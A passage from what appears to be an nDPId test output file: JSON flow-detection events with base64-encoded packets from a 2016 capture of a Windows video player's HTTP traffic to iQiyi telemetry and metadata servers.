yIFBDIDYuMDsgQ0lCQTsgQWxleGEgVG9vbGJhcjsgWnVuZSA0LjcpDQpIb3N0OiBtc2cuaXFpeWkuY29tDQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29va2llOiB0YnZlcj1hbHhpLTkuMzk7IGFpZD1kbWVrYzFhUEMzMDA4cA0KDQo="} +01505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1009,"source":"pps.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1467353140628,"flow_last_seen":0,"flow_tot_l4_data_len":1066,"flow_min_l4_data_len":1066,"flow_max_l4_data_len":1066,"flow_avg_l4_data_len":1066,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.221","src_port":50474,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.iqiyi.com","url":"msg.iqiyi.com\/b?c1=6&s1=1&macid=aaoefdtqgfdepxc2tnv3piucgcb4eofn&channelid=000&nu=&e=1352528&se=1253811&r=500494600&aduid=d07dfd30f0ee4e48bbcaf1208c758471&ctm=1375211&playsource=001004000&vid=562e26caed5695900212eb3259070f8a&albumid=500494600&ra=2&td=22652&succession=4&type=1&vfrm=3-001004000-c_corgi-0&bucket=c_corgi_main&ratp=1&playmode=1&hu=-1&ht=0&ap=0&t=201&ct=clt__pl_play&ve=1352528&pf=201&p=11&p1=114&p2=1011&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&v=2.0.102.30147&de=a0ee77a5638897bebfd8555b3270bef6&mv=5.2.15.2240&kv=10.0.0.293&source1=miniplayer&source2=miniplayer&source3=%e5%b0%8f%e6%92%ad%e6%94%be%e5%99%a8&source4=%e5%b0%8f%e6%92%ad%e6%94%be&play_source=1&opt=0&clt=homedl&scene=1&rn=00000001467353140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CIBA; Alexa Toolbar; Zune 4.7)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1010,"source":"pps.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1467353140655,"flow_last_seen":0,"flow_tot_l4_data_len":907,"flow_min_l4_data_len":907,"flow_max_l4_data_len":907,"flow_avg_l4_data_len":907,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50475,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01593{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":655019,"pkt_caplen":941,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":941,"pkt_l4_len":907,"pkt":"TF4M6gNlABxCjnAxCABFAAOfA+lAAIAG5mbAqHMIymwO7MUrAFDgGmOz15qFMlAYQTe3tgAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9JmFzPTE6MjoxfDImYXY9NC4xMC4wMDQmYj0yMDQwNzY3MDEmYz02JmN0PTUwMDAwMDA5MjY3OTUmZD0xNTgmZGk9JmRwPTcxMDAwMDAxJmU9NTEyYWI3N2RlN2Y2N2Q0OWYyNGQzNTExNzc4MjIwZDAmZWM9JmVtPSZmaT0mZz0wJmw9TVRFNExqRTJNeTQ0TGprdyZtaz0mbnc9Jm9kPTUwMDAwMDA4NTYzNDQmb2k9JnA9YSZwcD0mcmM9JnJkPSZyaT0mcz0xNDY3MzUzMTM5MDU3JnNoPSZzcT0mc3c9JnQ9c3AmdT0wX2Fhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnY9NTAwNDk0NjAwJnZ2PTUuMi4xNS4yMjQwJng9Jnk9cWNfMTAwMDAxXzEwMDE0MCBIVFRQLzEuMQ0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTg0KUmVmZXJlcjogaHR0cDovL3d3dy5pcWl5aS5jb20vY29tbW9uL2ZsYXNocGxheWVyLzIwMTQwOTI0L01haW5QbGF5ZXJfNV8yXzNfYzNfMl8xXzYuc3dmDQpxeWlkOiBhYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KcXlwaWQ6IF8yMDEyDQpxeXBsYXRmb3JtOiAwLTINCngtZmxhc2gtdmVyc2lvbjogMTIsMCwwLDcwDQpBY2NlcHQ6ICovKg0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzQuMDsgU0xDQzI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUIENMUiAzLjAuMzA3Mjk7IE1lZGlhIENlbnRlciBQQyA2LjApL1FZLVBsYXllci1XaW5kb3dzLzIuMC4xMDINCkhvc3Q6IG1zZy43MS5hbQ0KDQo="} +01157{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1010,"source":"pps.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1467353140655,"flow_last_seen":0,"flow_tot_l4_data_len":907,"flow_min_l4_data_len":907,"flow_max_l4_data_len":907,"flow_avg_l4_data_len":907,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50475,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=&as=1:2:1|2&av=4.10.004&b=204076701&c=6&ct=5000000926795&d=158&di=&dp=71000001&e=512ab77de7f67d49f24d3511778220d0&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=5000000856344&oi=&p=a&pp=&rc=&rd=&ri=&s=1467353139057&sh=&sq=&sw=&t=sp&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=500494600&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00597{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":677489,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"ABxCjnAxTF4M6gNlCABFAAC0b19AADMGyurKbA7dwKhzCABQxSpsAhW90liKZlAYABAfBgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQwIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1012,"source":"pps.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1467353140709,"flow_last_seen":0,"flow_tot_l4_data_len":910,"flow_min_l4_data_len":910,"flow_max_l4_data_len":910,"flow_avg_l4_data_len":910,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50473,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01598{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":709487,"pkt_caplen":944,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":944,"pkt_l4_len":910,"pkt":"TF4M6gNlABxCjnAxCABFAAOiA\/BAAIAG5m3AqHMIymwO28UpAFCvhj83b730NFAYAQRULwAAR0VUIC9jb3JlP3Q9MSZyZXNldD0wJnZmcm10cD0xJnRtMT0mdG0yPTAmdG0yMT0wJnRtMjI9MCZ0bTIzPTAmdG0yND0wJnRtMz0xMTcmdG0zMT0wJnRtMzI9NDcmdG0zMz03OCZ0bTM0PTEmdG00PTEzNyZ0bTQxPTAmdG00Mj0xNiZ0bTQzPTEyNSZ0bTQ0PTImdG01PTE2NSZ0bTUxPTAmdG01Mj0wJnRtNTM9MCZ0bTU0PTEwJnRtNj0mdG02Mj0wJnRtNjM9MCZ0bTc9MCZ0bTcxPTAmdG03Mj0wJnRtNzM9MCZ0bTg9MCZ0bTgxPTAmdG04Mj0wJnRtODM9MCZ0bTk9OTE2JnRtOTI9MTYmdG05Mz02MiZjaGlwaWQ9SW50ZWwlMjhSJTI5JTIwQ29yZSUyOFRNJTI5JTIwaTUlMkQyNTU3TSUyMENQVSUyMCU0MCUyMDElMkU3MEdIeiZyYT0yJmlzaGNkbj0yJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9NiZyPTUwMDQ5NDYwMCZhaWQ9NTAyOTU5OTAwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPXdpbmRvd3Mmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxNDAmaXNsb2NhbD0wJmFzPWQxOWY2NDA0N2I2NDFjZDZmZjA5NmIwNGZiMmEzMGI1JnZlPTNjYzBjOGZhMzcyNjI1ZTY0MTQzMTQ0ODE2ZjNlOTY4JnBlPWM5NWQ5OTJlMjk4NTZkYzg0ZjJlOTkwN2EyZTRiMjgyJnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +01336{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1012,"source":"pps.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1467353140709,"flow_last_seen":0,"flow_tot_l4_data_len":910,"flow_min_l4_data_len":910,"flow_max_l4_data_len":910,"flow_avg_l4_data_len":910,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50473,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=1&reset=0&vfrmtp=1&tm1=&tm2=0&tm21=0&tm22=0&tm23=0&tm24=0&tm3=117&tm31=0&tm32=47&tm33=78&tm34=1&tm4=137&tm41=0&tm42=16&tm43=125&tm44=2&tm5=165&tm51=0&tm52=0&tm53=0&tm54=10&tm6=&tm62=0&tm63=0&tm7=0&tm71=0&tm72=0&tm73=0&tm8=0&tm81=0&tm82=0&tm83=0&tm9=916&tm92=16&tm93=62&chipid=Intel%28R%29%20Core%28TM%29%20i5%2D2557M%20CPU%20%40%201%2E70GHz&ra=2&ishcdn=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353140&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00605{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":720033,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5F1lAADMGIt3KbA7swKhzCABQxSvXmoUy4BpnKlAYACB7oAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQwIEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1014,"source":"pps.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1467353140755,"flow_last_seen":0,"flow_tot_l4_data_len":622,"flow_min_l4_data_len":622,"flow_max_l4_data_len":622,"flow_avg_l4_data_len":622,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.32.39","src_port":50476,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01216{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1014,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":755684,"pkt_caplen":656,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":656,"pkt_l4_len":622,"pkt":"TF4M6gNlABxCjnAxCABFAAKCA\/NAAIAGOsjAqHMIZeMgJ8UsAFDdytkdPM+rpVAY\/\/BCUgAAR0VUIC92aS81MDA0OTQ2MDAvNTYyZTI2Y2FlZDU2OTU5MDAyMTJlYjMyNTkwNzBmOGEvP3NyYz0xXzExXzExNCBIVFRQLzEuMQ0KSG9zdDogY2FjaGUudmlkZW8uaXFpeWkuY29tDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29va2llOiBwcHNfY2xpZW50X3ZlcjI9NS4yLjE1LjIyNDA7IFQwMDQwND00ZTNhZTQxNWE1ODQ3NDhhYzlhYTMxNjI4ZjM5ZDFlODsgX3Bwc19pdmk9Vms0OU1UWXdOVEExTGFXL3BQbWhSejgvUDZUYXBFZW11RDgvcE0rd1pqOHRwTFd4M3pnd3Bsby9wR2FvY1NaV1VEMHhKbFpEUFQ4L1B6OCtwTFd4M3pnd3Bsby9wR2FvY1NaV1NqMHRNU1pXVXoxV0psWkVQU1pXVkZ0QlhUMHlNVGMxSmxaTlBTWldWajAxTGpJdU1UVXVNakkwTUNaV1ZUMW9kSFJ3T2k4dmQzZDNMbWx4YVhscExtTnZiUzkyWHpFNWNuSnNkblY0YkdjdWFIUnRiQT09OyBRQzAwNj11NTQ5dnB6MTBsOWZrYXR1bTRhbHc0YnA7IFFDMDA4PTE0NjY2NDU4MTYuMTQ2NjY0NTgxNi4xNDY2NjQ1ODE2LjE7IEhtX2x2dF81M2I3Mzc0YTYzYzM3NDgzZTVkZDk3ZDc4ZDliYjM2ZT0xNDY2NjQ1ODE3OyBRQzAwNT1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbg0KDQo="} +00692{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1014,"source":"pps.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1467353140755,"flow_last_seen":0,"flow_tot_l4_data_len":622,"flow_min_l4_data_len":622,"flow_max_l4_data_len":622,"flow_avg_l4_data_len":622,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"101.227.32.39","src_port":50476,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"cache.video.iqiyi.com","url":"cache.video.iqiyi.com\/vi\/500494600\/562e26caed5695900212eb3259070f8a\/?src=1_11_114","code":0,"content_type":"","user_agent":""}} +01781{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":794121,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQovhBAADEGzgRl4yAnwKhzCABQxSw8z6ul3crbd1AQPSRKcgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjQwIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpFeHBpcmVzOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM5IEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LUNyZWRlbnRpYWxzOiB0cnVlDQoNCmQ0OQ0KeyJjblByZW1UaW1lIjowLCJlZGl0b3JJbmZvIjoiIiwidmlkZW9RaXB1SWQiOjUwMDQ5NDYwMCwicmV3YXJkQWxsb3dlZCI6MCwibnVybCI6IiIsInN1cElkIjowLCJvbmxpbmVTdGF0dXMiOjEsImR0eXBlIjozLCJwdnUiOiIiLCJpc3N1ZVRpbWUiOjIwMTYwNjI1LCJ3cml0ZXIiOiIiLCJpc1RvcENoYXJ0IjowLCJxaXlpUGxheVN0cmF0ZWd5Ijoi5q+P5ZGo5LqU5ZGo5YWtMjA6MDAiLCJ1cCI6IjIwMTYtMDYtMjkgMTk6NDc6MDIiLCJpcExpbWl0IjowLCJ1biI6IiIsImV4Y2x1c2l2ZSI6MSwidm4iOiLjgIrkuIDmtL7mlrnoqIDjgItDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwicHR1cmwiOiIiLCJzdGFydFRpbWUiOi0xLCJzdCI6MjAwLCJ0eSI6MjAxNjA2MjUsInNtIjowLCJzaG93Q2hhbm5lbElkIjo2LCJwb3Z1IjoiIiwicHJvZHVjZXJzIjoiIiwiZXRtIjoiIiwic3VwTmFtZSI6IiIsInR2RW5hbWUiOiIiLCJzYyI6MCwiY2MiOjAsIm1kb3duIjowLCJwYW5vIjp7InR5cGUiOjF9LCJtYWluQWN0b3JSb2xlcyI6W10sInN1YktleSI6IjIwNDA3NjcwMSIsImFwaWMiOiJodHRwOlwvXC9waWM1LnFpeWlwaWMuY29tXC9pbWFnZVwvMjAxNjA2MjVcL2Q3XC81OVwvdl8xMTA1ODM2NjZfbV82MDEuanBnIiwiZXMiOjEsInByb2R1Y2VyIjoiIiwiZW5kVGltZSI6LTEsImF1IjoiaHR0cDpcL1wvd3d3LmlxaXlpLmNvbVwvdl8xOXJybGpmM2hnLmh0bWwiLCJjaXJjbGUiOnsidHlwZSI6MiwiaWQiOjIwNQ=="} +01781{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":794124,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQovhFAADEGzgNl4yAnwKhzCABQxSw8z6+l3crbd1AQPSTsVQAANDczOTQ3fSwiaXNEaXNwbGF5Q2lyY2xlIjoxLCJwYXlNYXJrIjowLCJwbGMiOnsiNCI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCIxMCI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCI1Ijp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjExIjp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjEyIjp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjciOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMTgiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMTMiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMTQiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiOCI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCIxIjp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjkiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiNiI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCIxNiI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCIxNSI6eyJjb2EiOjEsImRvd25BbGQiOjF9LCIzIjp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjE3Ijp7ImNvYSI6MSwiZG93bkFsZCI6MX0sIjIiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMjEiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMTkiOnsiY29hIjoxLCJkb3duQWxkIjoxfSwiMjAiOnsiY29hIjoxLCJkb3duQWxkIjoxfX0sIm50dmQiOjAsInR2Rm9jdXNlIjoi6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwiY1R5cGUiOjcsInFpeWlQcm9kdWNlZCI6MSwidm90ZXMiOltdLCJhbGJ1bVFpcHVJZCI6NTAwNDk0NjAwLCJjYXRlZ29yeUtleXdvcmRzIjoi57u86Im6LDUwMDQ5NDYwMCwwLGh0dHA6XC9cL2xpc3QuaXFpeWkuY29tXC93d3dcLzZcLy0tLS0tLS0tLS0tLS0tLS0tLS5odG1sIOWGheWcsCwxNTEsMSxodHRwOlwvXC9saXN0LmlxaXlpLmNvbVwvd3d3XC82XC8xNTEtLS0tLS0tLS0tLS0tLS0tLS0uaHRtbCDlhbblroMsMTYxLDIsaHR0cDpcL1wvbGlzdC5pcWl5aS5jb21cL3d3d1wvNlwvLTE2MS0tLS0tLS0tLS0tLS0tLS0tLmh0bWwg5q2M6IieLDIxMjEsMixodHRwOlwvXC9saXN0LmlxaXlpLmNvbVwvd3d3XC82XC8tMjEyMS0tLS0tLS0tLS0tLQ=="} +01786{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":794125,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQovhJAADEGzgJl4yAnwKhzCABQxSw8z7Ol3crbd1AQPSQ64AAALS0tLS0uaHRtbCIsImlkbCI6MSwic3RtIjoiIiwiYXN1YnQiOiLkuKrmgKfnlLflrannu4TlkIhDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwiZm9sbG93ZXJDb3VudCI6MCwiY29hIjowLCJrZXl3b3JkIjoi5Y2B5LiJ5Lq\/5YiG6LSd5LmL5LiA5rS+5pa56KiAIiwiYXV0aG9ycyI6IiIsInNpZCI6MjA0MDc2NzAxLCJudmlkIjoiIiwidWlkIjo0NjMzNzI2NzkwLCJhaWQiOjUwMDQ5NDYwMCwiZCI6IiIsInZpZCI6IjU2MmUyNmNhZWQ1Njk1OTAwMjEyZWIzMjU5MDcwZjhhIiwiZHRzIjoiMjAxNjA2MjkxOTQ3MDIiLCJlIjoiIiwiYW4iOiLjgIrkuIDmtL7mlrnoqIDjgItDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwic3RsIjp7ImQiOiJodHRwOlwvXC9tZXRhLnZpZGVvLnFpeWkuY29tIiwic3RsIjpbXX0sImluZm8iOiLjgIrkuIDmtL7mlrnoqIDjgItDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwiaXMzRCI6MCwiaXMiOjEsInRwbCI6W10sImZscHBzIjpbXSwiZmwiOltdLCJxdElkIjoxMzYxNjkxNSwiYXIiOiLlhoXlnLAiLCJzIjoi5Y2B5LiJ5Lq\/5YiG6LSd5LmL5LiA5rS+5pa56KiAIiwiYSI6IiIsInBwc3VwbG9hZGlkIjowLCJ0dmlkIjo1MDA0OTQ2MDAsImFjdG9ycyI6W10sInVzZXJWaWRlb2NvdW50IjowLCJtYSI6IiIsInJld2FyZE1lc3NhZ2UiOiIiLCJ2VHlwZSI6MSwiYyI6NiwidnUiOiJodHRwOlwvXC93d3cuaXFpeWkuY29tXC92XzE5cnJsamYzaGcuaHRtbCIsInZwaWMiOiJodHRwOlwvXC9waWM1LnFpeWlwaWMuY29tXC9pbWFnZVwvMjAxNjA2MjVcL2Q3XC81OVwvdl8xMTA1ODM2NjZfbV82MDEuanBnIiwicHJldmlld0ltYWdlVXJsIjoiIiwidHZTZWFzb24iOjAsInBwc0luZm8iOnsibmFtZSI6IjE2MDYyNS3oirHnta7vvJrkuKrmgKfnlLflrannu4TlkIhDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLLeWNgeS4ieS6v+WIhui0neS5i+S4gOa0vuaWueiogCIsInNob3J0VGl0bGUiOiIxNjA2MjUt6Iqx57Wu7w=="} +01223{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":794126,"pkt_caplen":663,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":663,"pkt_l4_len":629,"pkt":"ABxCjnAxTF4M6gNlCABFAAKJvhNAADEGz6Bl4yAnwKhzCABQxSw8z7el3crbd1AYPSR27QAAvJrkuKrmgKfnlLflrannu4TlkIhDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLLeWNgeS4ieS6v+WIhui0neS5i+S4gOa0vuaWueiogCJ9LCJhbGJ1bUFsaWFzIjoi5Liq5oCn55S35a2p57uE5ZCIQy1CbG9ja+mVv+aymeivneOAiuiAgeihl+eahOWRs+OAiyIsImFsbG93RWRpdFZWSXFpeWkiOjAsImFjdG9yUm9sZXMiOltdLCJ0YWdzIjpbXSwiaXNQb3B1cCI6MSwicGQiOjEsInBsZyI6MTU4LCJsZyI6Miwic3ViVHlwZSI6MiwidXBPcmRlciI6MSwic2hvcnRUaXRsZSI6IkMtQmxvY2vjgIrogIHooZfnmoTlkbPjgIsiLCJwcmVzZW50b3IiOltdLCJwdWJUaW1lIjoiMTQ2Njg1MzYyMTAwMCIsImlmcyI6MSwiYm9zc1N0YXR1cyI6MCwidGciOiLlhoXlnLAg5YW25a6DIOatjOiIniIsImNvbW1lbnRBbGxvd2VkIjoxLCJwbGF0Zm9ybXMiOlsiUEhPTkUiLCJQQUQiLCJQQyIsIlBDX0FQUCIsIlRWIiwiUEhPTkVfV0VCX0lRSVlJIiwiUEFEX1dFQl9JUUlZSSJdLCJpc1ZpcCI6IiIsInN1cFR5cGUiOiIiLCJjcGEiOjEsInN1YnQiOiLkuKrmgKfnlLflrannu4TlkIhDLUJsb2Nr6ZW\/5rKZ6K+d44CK6ICB6KGX55qE5ZGz44CLIiwidHZQaGFzZSI6MH0NCjANCg0K"} 